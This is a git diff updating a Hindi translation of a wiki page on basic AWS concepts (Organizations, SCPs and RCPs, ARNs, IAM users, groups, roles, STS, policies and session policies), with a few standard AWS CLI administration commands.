Translated ['src/pentesting-cloud/aws-security/aws-basic-information/REA

src/pentesting-cloud/aws-security/aws-basic-information/README.md

@@ -8,9 +8,9 @@
 
 ### Accounts
 
-AWS में, एक **root account** है, जो आपके **organization** के लिए सभी खातों का **parent container** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **विभिन्न AWS** अवसंरचनाओं को अलग करने के लिए **अन्य खाते बना सकते हैं**।
+AWS में, एक **root account** है, जो आपके **organization** के सभी खातों के लिए **parent container** है। हालाँकि, आपको संसाधनों को तैनात करने के लिए उस खाते का उपयोग करने की आवश्यकता नहीं है, आप **अलग-अलग AWS** बुनियादी ढाँचे के बीच अलग करने के लिए **अन्य खाते बना सकते हैं**।
 
-यह **सुरक्षा** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हों), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं।
+यह **सुरक्षा** के दृष्टिकोण से बहुत दिलचस्प है, क्योंकि **एक खाता अन्य खाते के संसाधनों तक पहुँच नहीं पाएगा** (जब तक कि पुल विशेष रूप से बनाए नहीं गए हैं), इसलिए इस तरह आप तैनातियों के बीच सीमाएँ बना सकते हैं।
 
 इसलिए, एक संगठन में **दो प्रकार के खाते** होते हैं (हम AWS खातों की बात कर रहे हैं, उपयोगकर्ता खातों की नहीं): एकल खाता जिसे प्रबंधन खाता के रूप में नामित किया गया है, और एक या अधिक सदस्य खाते।
 
@@ -22,7 +22,7 @@ AWS में, एक **root account** है, जो आपके **organizatio
 - आमंत्रणों का प्रबंधन करना
 - संगठन के भीतर संस्थाओं (roots, OUs, या खातों) पर नीतियाँ लागू करना
 - संगठन में सभी खातों के बीच सेवा कार्यक्षमता प्रदान करने के लिए समर्थित AWS सेवाओं के साथ एकीकरण सक्षम करना।
-- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन कर सकते हैं।
+- आप इस root account/organization को बनाने के लिए उपयोग किए गए ईमेल और पासवर्ड का उपयोग करके root उपयोगकर्ता के रूप में लॉगिन करना संभव है।
 
 प्रबंधन खाते के पास **payer account** की जिम्मेदारियाँ होती हैं और यह सदस्य खातों द्वारा उत्पन्न सभी शुल्कों का भुगतान करने के लिए जिम्मेदार होता है। आप एक संगठन के प्रबंधन खाते को बदल नहीं सकते।
 
@@ -33,7 +33,7 @@ aws organizations create-account --account-name testingaccount --email testingac
 ```
 ### **Organization Units**
 
-Accounts can be grouped in **Organization Units (OU)**. इस तरह, आप **नीतियाँ** बना सकते हैं जो Organization Unit के लिए हैं जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं।
+Accounts can be grouped in **Organization Units (OU)**. इस तरह, आप **policies** बना सकते हैं जो Organization Unit के लिए होंगी जो **सभी बच्चों के खातों पर लागू होंगी**। ध्यान दें कि एक OU के पास अन्य OUs भी हो सकते हैं।
 ```bash
 # You can get the root id from aws organizations list-roots
 aws organizations create-organizational-unit --parent-id r-lalala --name TestOU
@@ -46,7 +46,7 @@ A **service control policy (SCP)** एक नीति है जो उन स
 इससे बचने का एकमात्र तरीका यह है कि **मास्टर खाता** भी समझौता किया जाए जो SCPs को कॉन्फ़िगर करता है (मास्टर खाता अवरुद्ध नहीं किया जा सकता)।
 
 > [!WARNING]
-> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि SCP द्वारा `s3:GetObject` को अस्वीकार करने से लोगों को **आपके खाते में एक सार्वजनिक S3 बकेट तक पहुँचने से नहीं रोका जाएगा**।
+> ध्यान दें कि **SCPs केवल खाते में प्रिंसिपल को प्रतिबंधित करती हैं**, इसलिए अन्य खाते प्रभावित नहीं होते। इसका मतलब है कि SCP द्वारा `s3:GetObject` को अस्वीकार करने से लोगों को आपके खाते में **एक सार्वजनिक S3 बकेट** तक पहुँचने से नहीं रोका जाएगा।
 
 SCP उदाहरण:
 
@@ -71,7 +71,7 @@ A **resource control policy (RCP)** एक नीति है जो आपक
 यह **एकमात्र तरीका है यह सुनिश्चित करने के लिए कि** **संसाधन पूर्वनिर्धारित पहुँच स्तरों से अधिक नहीं हो सकते**—यहाँ तक कि यदि पहचान-आधारित या संसाधन-आधारित नीति बहुत अधिक अनुमति देती है। इन सीमाओं को बायपास करने का एकमात्र तरीका यह है कि आपके संगठन के प्रबंधन खाते द्वारा कॉन्फ़िगर की गई RCP को भी संशोधित किया जाए।
 
 > [!WARNING]
-> RCPs केवल उन अनुमतियों को प्रतिबंधित करती हैं जो संसाधनों के पास हो सकती हैं। वे सीधे यह नियंत्रित नहीं करतीं कि प्रिंसिपल क्या कर सकते हैं। उदाहरण के लिए, यदि एक RCP एक S3 बकेट के लिए बाहरी पहुँच को अस्वीकार करता है, तो यह सुनिश्चित करता है कि बकेट की अनुमतियाँ कभी भी सेट सीमा से परे क्रियाएँ करने की अनुमति नहीं देतीं—यहाँ तक कि यदि एक संसाधन-आधारित नीति गलत कॉन्फ़िगर की गई है।
+> RCPs केवल उन अनुमतियों को प्रतिबंधित करती हैं जो संसाधनों के पास हो सकती हैं। वे सीधे यह नियंत्रित नहीं करतीं कि प्रिंसिपल क्या कर सकते हैं। उदाहरण के लिए, यदि एक RCP एक S3 बकेट के लिए बाहरी पहुँच को अस्वीकार करता है, तो यह सुनिश्चित करता है कि बकेट की अनुमतियाँ कभी भी सेट सीमा से परे क्रियाओं की अनुमति नहीं देतीं—यहाँ तक कि यदि एक संसाधन-आधारित नीति गलत कॉन्फ़िगर की गई है।
 
 RCP उदाहरण:
 
@@ -84,43 +84,43 @@ RCP उदाहरण:
 
 ### ARN
 
-**Amazon Resource Name** वह **विशिष्ट नाम** है जो AWS के भीतर हर संसाधन का होता है, यह इस तरह से बना होता है:
+**Amazon Resource Name** वह **विशिष्ट नाम** है जो AWS के भीतर हर संसाधन के पास होता है, यह इस तरह से बना होता है:
 ```
 arn:partition:service:region:account-id:resource-type/resource-id
 arn:aws:elasticbeanstalk:us-west-1:123456789098:environment/App/Env
 ```
-ध्यान दें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं:
+नोट करें कि AWS में 4 विभाजन हैं लेकिन उन्हें कॉल करने के केवल 3 तरीके हैं:
 
 - AWS Standard: `aws`
 - AWS China: `aws-cn`
 - AWS US public Internet (GovCloud): `aws-us-gov`
 - AWS Secret (US Classified): `aws`
 
-## IAM - पहचान और पहुंच प्रबंधन
+## IAM - पहचान और पहुँच प्रबंधन
 
-IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुंच नियंत्रण** प्रबंधित करने की अनुमति देती है।
+IAM वह सेवा है जो आपको अपने AWS खाते के भीतर **प्रमाणीकरण**, **अधिकार** और **पहुँच नियंत्रण** प्रबंधित करने की अनुमति देती है।
 
 - **प्रमाणीकरण** - एक पहचान को परिभाषित करने और उस पहचान के सत्यापन की प्रक्रिया। इस प्रक्रिया को पहचान और सत्यापन में विभाजित किया जा सकता है।
-- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या एक्सेस कर सकती है जब इसे प्रमाणित किया गया हो।
-- **पहुंच नियंत्रण** - यह सुरक्षित संसाधन तक पहुंच कैसे दी जाती है, इसकी विधि और प्रक्रिया।
+- **अधिकार** - यह निर्धारित करता है कि एक पहचान एक प्रणाली के भीतर क्या एक्सेस कर सकती है जब इसे इसके लिए प्रमाणित किया गया हो।
+- **पहुँच नियंत्रण** - सुरक्षित संसाधन तक पहुँच कैसे दी जाती है, इसकी विधि और प्रक्रिया।
 
-IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुंच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कर सकता है।
+IAM को इसकी क्षमता द्वारा परिभाषित किया जा सकता है कि यह आपके AWS खाते के भीतर पहचान के प्रमाणीकरण, अधिकार और पहुँच नियंत्रण तंत्रों का प्रबंधन, नियंत्रण और शासन कर सकता है।
 
 ### [AWS खाता रूट उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_root-user.html) <a href="#id_root" id="id_root"></a>
 
-जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुंच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**।
+जब आप पहली बार एक Amazon Web Services (AWS) खाता बनाते हैं, तो आप एक सिंगल साइन-इन पहचान के साथ शुरू करते हैं जिसके पास खाते में सभी AWS सेवाओं और संसाधनों तक **पूर्ण पहुँच** होती है। यह AWS खाता _**रूट उपयोगकर्ता**_ है और इसे **उस ईमेल पते और पासवर्ड के साथ साइन इन करके एक्सेस किया जाता है जिसका उपयोग आपने खाता बनाने के लिए किया था**।
 
-ध्यान दें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**।
+नोट करें कि एक नया **व्यवस्थापक उपयोगकर्ता** के पास **रूट उपयोगकर्ता की तुलना में कम अनुमतियाँ होंगी**।
 
 सुरक्षा के दृष्टिकोण से, अन्य उपयोगकर्ताओं को बनाना और इस एक का उपयोग करने से बचना अनुशंसित है।
 
 ### [IAM उपयोगकर्ता](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_users.html) <a href="#id_iam-users" id="id_iam-users"></a>
 
-एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होते हैं।
+एक IAM _उपयोगकर्ता_ एक इकाई है जिसे आप AWS में **उस व्यक्ति या एप्लिकेशन का प्रतिनिधित्व करने के लिए बनाते हैं** जो इसका उपयोग **AWS के साथ बातचीत करने के लिए** करता है। AWS में एक उपयोगकर्ता का नाम और क्रेडेंशियल्स (पासवर्ड और अधिकतम दो एक्सेस कुंजी) होता है।
 
 जब आप एक IAM उपयोगकर्ता बनाते हैं, तो आप इसे **अनुमतियाँ** प्रदान करते हैं, जिससे यह एक **उपयोगकर्ता समूह का सदस्य बनता है** जिसमें उपयुक्त अनुमति नीतियाँ संलग्न होती हैं (अनुशंसित), या **प्रत्यक्ष रूप से नीतियाँ** उपयोगकर्ता से संलग्न करते हैं।
 
-उपयोगकर्ताओं के पास कंसोल के माध्यम से लॉगिन करने के लिए **MFA सक्षम** हो सकता है। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुंच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
+उपयोगकर्ताओं के पास **कंसोल के माध्यम से लॉगिन करने के लिए MFA सक्षम हो सकता है**। MFA सक्षम उपयोगकर्ताओं के API टोकन MFA द्वारा सुरक्षित नहीं होते हैं। यदि आप **MFA का उपयोग करके उपयोगकर्ताओं की API कुंजियों की पहुँच को प्रतिबंधित करना चाहते हैं** तो आपको नीति में यह इंगित करना होगा कि कुछ क्रियाएँ करने के लिए MFA की आवश्यकता है (उदाहरण [**यहाँ**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_mfa_configure-api-require.html))।
 
 #### CLI
 
@@ -141,8 +141,8 @@ MFA शर्तों वाली नीतियाँ निम्नलि
 - एक संसाधन जैसे Amazon S3 बकेट, Amazon SQS कतार, या Amazon SNS विषय
 - एक IAM भूमिका की ट्रस्ट नीति जिसे एक उपयोगकर्ता द्वारा ग्रहण किया जा सकता है
 
-यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जांच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
-ध्यान दें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी नहीं होती**।
+यदि आप **CLI के माध्यम से** एक संसाधन तक पहुँच प्राप्त करना चाहते हैं जो **MFA की जाँच करता है** तो आपको **`GetSessionToken`** कॉल करना होगा। यह आपको MFA के बारे में जानकारी के साथ एक टोकन देगा।\
+नोट करें कि **`AssumeRole` क्रेडेंशियल्स में यह जानकारी शामिल नहीं होती है**।
 ```bash
 aws sts get-session-token --serial-number <arn_device> --token-code <code>
 ```
@@ -152,28 +152,28 @@ As [**यहां बताया गया है**](https://docs.aws.amazon.c
 
 एक IAM [उपयोगकर्ता समूह](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_groups.html) एक ऐसा तरीका है जिससे **एक समय में कई उपयोगकर्ताओं के लिए नीतियों को संलग्न किया जा सकता है**, जिससे उन उपयोगकर्ताओं के लिए अनुमतियों का प्रबंधन करना आसान हो सकता है। **भूमिकाएँ और समूह समूह का हिस्सा नहीं हो सकते**।
 
-आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह में संलग्न कर सकते हैं** ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ होती हैं।
+आप एक **पहचान-आधारित नीति को एक उपयोगकर्ता समूह में संलग्न कर सकते हैं** ताकि उपयोगकर्ता समूह में सभी **उपयोगकर्ताओं को नीति की अनुमतियाँ प्राप्त हों**। आप **एक उपयोगकर्ता समूह** को **`Principal`** के रूप में **नीति** (जैसे संसाधन-आधारित नीति) में पहचान नहीं सकते क्योंकि समूह अनुमतियों से संबंधित होते हैं, प्रमाणीकरण से नहीं, और प्रिंसिपल प्रमाणीकरण किए गए IAM संस्थाएँ होते हैं।
 
-यहां उपयोगकर्ता समूह की कुछ महत्वपूर्ण विशेषताएँ हैं:
+उपयोगकर्ता समूह की कुछ महत्वपूर्ण विशेषताएँ हैं:
 
 - एक उपयोगकर्ता **समूह** में **कई उपयोगकर्ता** हो सकते हैं, और एक **उपयोगकर्ता** **कई समूहों** का **भाग हो सकता है**।
 - **उपयोगकर्ता समूहों को नेस्ट नहीं किया जा सकता**; वे केवल उपयोगकर्ताओं को शामिल कर सकते हैं, अन्य उपयोगकर्ता समूहों को नहीं।
-- AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला **कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
+- **AWS खाते में सभी उपयोगकर्ताओं को स्वचालित रूप से शामिल करने वाला कोई डिफ़ॉल्ट उपयोगकर्ता समूह नहीं है**। यदि आप ऐसा उपयोगकर्ता समूह रखना चाहते हैं, तो आपको इसे बनाना होगा और प्रत्येक नए उपयोगकर्ता को इसमें असाइन करना होगा।
 - AWS खाते में IAM संसाधनों की संख्या और आकार, जैसे समूहों की संख्या, और एक उपयोगकर्ता जिस समूह का सदस्य हो सकता है, सीमित हैं। अधिक जानकारी के लिए, [IAM और AWS STS कोटा](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_iam-quotas.html) देखें।
 
 ### [IAM भूमिकाएँ](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles.html) <a href="#id_iam-roles" id="id_iam-roles"></a>
 
-एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ **कोई प्रमाण-पत्र** (पासवर्ड या एक्सेस कुंजी) नहीं होता है। एक व्यक्ति के साथ विशेष रूप से जुड़ने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा ग्रहण किया जा सकता है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका ग्रहण कर सकता है ताकि वह अस्थायी रूप से** किसी विशेष कार्य के लिए विभिन्न अनुमतियाँ ले सके। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है।
+एक IAM **भूमिका** एक **उपयोगकर्ता** के समान है, क्योंकि यह एक **पहचान है जिसमें अनुमति नीतियाँ होती हैं जो यह निर्धारित करती हैं कि** यह AWS में क्या कर सकता है और क्या नहीं। हालाँकि, एक भूमिका के साथ कोई **क्रेडेंशियल्स** (पासवर्ड या एक्सेस कुंजी) नहीं होते। एक व्यक्ति के साथ विशेष रूप से जुड़े होने के बजाय, एक भूमिका को **किसी भी व्यक्ति द्वारा ग्रहण किया जा सकता है जिसे इसकी आवश्यकता है (और जिसके पास पर्याप्त अनुमतियाँ हैं)**। एक **IAM उपयोगकर्ता एक भूमिका ग्रहण कर सकता है ताकि अस्थायी रूप से** किसी विशेष कार्य के लिए विभिन्न अनुमतियाँ ले सके। एक भूमिका को एक [**संघीय उपयोगकर्ता**](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_roles_providers.html) को असाइन किया जा सकता है जो IAM के बजाय एक बाहरी पहचान प्रदाता का उपयोग करके साइन इन करता है।
 
-एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **कौन भूमिका ग्रहण कर सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है कि **यह क्या एक्सेस कर सकता है**।
+एक IAM भूमिका में **दो प्रकार की नीतियाँ** होती हैं: एक **विश्वास नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है **कौन भूमिका ग्रहण कर सकता है**, और एक **अनुमति नीति**, जो खाली नहीं हो सकती, यह परिभाषित करती है **यह क्या एक्सेस कर सकता है**।
 
 #### AWS सुरक्षा टोकन सेवा (STS)
 
-AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार प्रमाण-पत्रों** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है:
+AWS सुरक्षा टोकन सेवा (STS) एक वेब सेवा है जो **अस्थायी, सीमित-विशेषाधिकार क्रेडेंशियल्स** के **जारी करने** की सुविधा प्रदान करती है। यह विशेष रूप से निम्नलिखित के लिए तैयार की गई है:
 
-### [IAM में अस्थायी प्रमाण-पत्र](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
+### [IAM में अस्थायी क्रेडेंशियल्स](https://docs.aws.amazon.com/IAM/latest/UserGuide/id_credentials_temp.html) <a href="#id_temp-creds" id="id_temp-creds"></a>
 
-**अस्थायी प्रमाण-पत्र मुख्य रूप से IAM भूमिकाओं के साथ उपयोग किए जाते हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी प्रमाण-पत्रों के लिए अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनजाने में उन कार्यों को करने से रोकता है जो अधिक सीमित प्रमाण-पत्रों द्वारा अनुमति नहीं दी गई हैं**। अस्थायी प्रमाण-पत्रों का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि प्रमाण-पत्र कितने समय तक मान्य हैं।
+**अस्थायी क्रेडेंशियल्स मुख्य रूप से IAM भूमिकाओं के साथ उपयोग किए जाते हैं**, लेकिन इसके अन्य उपयोग भी हैं। आप अस्थायी क्रेडेंशियल्स का अनुरोध कर सकते हैं जिनमें आपके मानक IAM उपयोगकर्ता की तुलना में अधिक सीमित अनुमतियों का सेट होता है। यह **आपको** **अनुमत नहीं होने वाले कार्यों को गलती से करने से रोकता है**। अस्थायी क्रेडेंशियल्स का एक लाभ यह है कि वे एक निर्धारित समय के बाद स्वचालित रूप से समाप्त हो जाते हैं। आपके पास यह नियंत्रित करने की क्षमता है कि क्रेडेंशियल्स कितने समय तक मान्य हैं।
 
 ### नीतियाँ
 
@@ -181,11 +181,11 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
 
 अनुमतियों को असाइन करने के लिए उपयोग की जाती हैं। 2 प्रकार हैं:
 
-- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-निर्धारित)
+- AWS प्रबंधित नीतियाँ (AWS द्वारा पूर्व-कॉन्फ़िगर की गई)
 - ग्राहक प्रबंधित नीतियाँ: आपके द्वारा कॉन्फ़िगर की गई। आप AWS प्रबंधित नीतियों के आधार पर नीतियाँ बना सकते हैं (उनमें से एक को संशोधित करके और अपनी खुद की बनाकर), नीति जनरेटर का उपयोग करके (एक GUI दृश्य जो आपको अनुमतियाँ देने और अस्वीकार करने में मदद करता है) या अपनी खुद की लिखकर।
 
 **डिफ़ॉल्ट रूप से पहुँच** **अस्वीकृत** है, पहुँच तब दी जाएगी जब एक स्पष्ट भूमिका निर्दिष्ट की गई हो।\
-यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, सिवाय उन अनुरोधों के जो AWS खाते के रूट सुरक्षा प्रमाण-पत्रों का उपयोग करते हैं (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)।
+यदि **एकल "Deny" मौजूद है, तो यह "Allow" को ओवरराइड करेगा**, सिवाय उन अनुरोधों के जो AWS खाते की रूट सुरक्षा क्रेडेंशियल्स का उपयोग करते हैं (जो डिफ़ॉल्ट रूप से अनुमति दी जाती हैं)।
 ```javascript
 {
 "Version": "2012-10-17",  //Version of the policy
@@ -209,7 +209,7 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
 }
 ```
 [ग्लोबल फ़ील्ड जो किसी भी सेवा में शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/IAM/latest/UserGuide/reference_policies_condition-keys.html#condition-keys-resourceaccount).\
-[विशिष्ट फ़ील्ड जो सेवा के अनुसार शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
+[विशिष्ट फ़ील्ड जो प्रत्येक सेवा के लिए शर्तों के लिए उपयोग किए जा सकते हैं, यहाँ दस्तावेज़ित हैं](https://docs.aws.amazon.com/service-authorization/latest/reference/reference_policies_actions-resources-contextkeys.html).
 
 #### इनलाइन नीतियाँ
 
@@ -224,9 +224,9 @@ AWS सुरक्षा टोकन सेवा (STS) एक वेब स
 
 ### IAM सीमाएँ
 
-IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने के लिए** उपयोग की जा सकती हैं। इस तरह, भले ही उपयोगकर्ता को **विभिन्न नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा।
+IAM सीमाएँ **एक उपयोगकर्ता या भूमिका को पहुँच की अनुमतियों को सीमित करने** के लिए उपयोग की जा सकती हैं। इस तरह, भले ही उपयोगकर्ता को **विभिन्न नीति** द्वारा अनुमतियों का एक अलग सेट दिया गया हो, यदि वह उनका उपयोग करने की कोशिश करता है तो संचालन **विफल** हो जाएगा।
 
-एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों के स्तर को इंगित करती है**। इसलिए, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा इंगित करती है कि वह केवल S· बाल्टियों को पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है।
+एक सीमा बस एक नीति है जो एक उपयोगकर्ता से जुड़ी होती है जो **यह संकेत करती है कि उपयोगकर्ता या भूमिका के पास अधिकतम अनुमतियों का स्तर क्या हो सकता है**। इसलिए, **भले ही उपयोगकर्ता के पास व्यवस्थापक पहुँच हो**, यदि सीमा संकेत करती है कि वह केवल S· बाल्टियों को पढ़ सकता है, तो यही अधिकतम है जो वह कर सकता है।
 
 **यह**, **SCPs** और **कम से कम विशेषाधिकार** सिद्धांत का पालन करना उन तरीकों में से हैं जिनसे यह नियंत्रित किया जा सकता है कि उपयोगकर्ताओं के पास उनकी आवश्यकता से अधिक अनुमतियाँ नहीं हैं।
 
@@ -234,7 +234,7 @@ IAM सीमाएँ **एक उपयोगकर्ता या भूम
 
 एक सत्र नीति एक **नीति है जो तब सेट की जाती है जब किसी भूमिका को किसी तरह से ग्रहण किया जाता है**। यह उस सत्र के लिए एक **IAM सीमा** की तरह होगी: इसका मतलब है कि सत्र नीति अनुमतियाँ नहीं देती है बल्कि **उन्हें नीति में निर्दिष्ट अनुमतियों तक सीमित करती है** (अधिकतम अनुमतियाँ वही होती हैं जो भूमिका के पास होती हैं)।
 
-यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक पहुँच को केवल सीमित कर सकता है यदि सत्र से समझौता किया जाता है।
+यह **सुरक्षा उपायों** के लिए उपयोगी है: जब एक व्यवस्थापक एक बहुत विशेषाधिकार प्राप्त भूमिका ग्रहण करने जा रहा है, तो वह सत्र नीति में निर्दिष्ट अनुमतियों तक ही अनुमति को सीमित कर सकता है यदि सत्र से समझौता किया जाता है।
 ```bash
 aws sts assume-role \
 --role-arn <value> \
@@ -242,14 +242,14 @@ aws sts assume-role \
 [--policy-arns <arn_custom_policy1> <arn_custom_policy2>]
 [--policy <file://policy.json>]
 ```
-नोट करें कि डिफ़ॉल्ट रूप से **AWS सत्रों में सत्र नीतियाँ जोड़ सकता है** जो तीसरे कारणों के कारण उत्पन्न होने वाले हैं। उदाहरण के लिए, [अप्रमाणित कॉग्निटो द्वारा मान्य भूमिकाएँ](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) में डिफ़ॉल्ट रूप से (उन्नत प्रमाणीकरण का उपयोग करते हुए), AWS **एक सत्र नीति के साथ सत्र क्रेडेंशियल्स** उत्पन्न करेगा जो उस सत्र को पहुँचने वाली सेवाओं को सीमित करता है [**निम्नलिखित सूची**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)।
+नोट करें कि डिफ़ॉल्ट रूप से **AWS सत्रों में सत्र नीतियाँ जोड़ सकता है** जो तीसरे कारणों के कारण उत्पन्न होने वाले हैं। उदाहरण के लिए, [अप्रमाणित कॉग्निटो अनुमत भूमिकाओं](../aws-services/aws-cognito-enum/cognito-identity-pools.md#accessing-iam-roles) में डिफ़ॉल्ट रूप से (उन्नत प्रमाणीकरण का उपयोग करते हुए), AWS **सत्र नीति के साथ सत्र क्रेडेंशियल्स** उत्पन्न करेगा जो उस सत्र को पहुँचने वाली सेवाओं को सीमित करता है [**निम्नलिखित सूची**](https://docs.aws.amazon.com/cognito/latest/developerguide/iam-roles.html#access-policies-scope-down-services)।
 
 इसलिए, यदि किसी बिंदु पर आप त्रुटि का सामना करते हैं "... क्योंकि कोई सत्र नीति अनुमति नहीं देती है ...", और भूमिका को क्रिया करने की अनुमति है, तो इसका मतलब है कि **एक सत्र नीति इसे रोक रही है**।
 
 ### पहचान संघ
 
 पहचान संघ **बाहरी पहचान प्रदाताओं से उपयोगकर्ताओं को AWS संसाधनों तक सुरक्षित रूप से पहुँचने की अनुमति देता है** बिना AWS उपयोगकर्ता क्रेडेंशियल्स प्रदान किए।\
-एक पहचान प्रदाता का उदाहरण आपके अपने कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी।
+एक पहचान प्रदाता का उदाहरण आपका अपना कॉर्पोरेट **Microsoft Active Directory** (द्वारा **SAML**) या **OpenID** सेवाएँ (जैसे **Google**) हो सकता है। संघीय पहुँच फिर उपयोगकर्ताओं को AWS तक पहुँचने की अनुमति देगी।
 
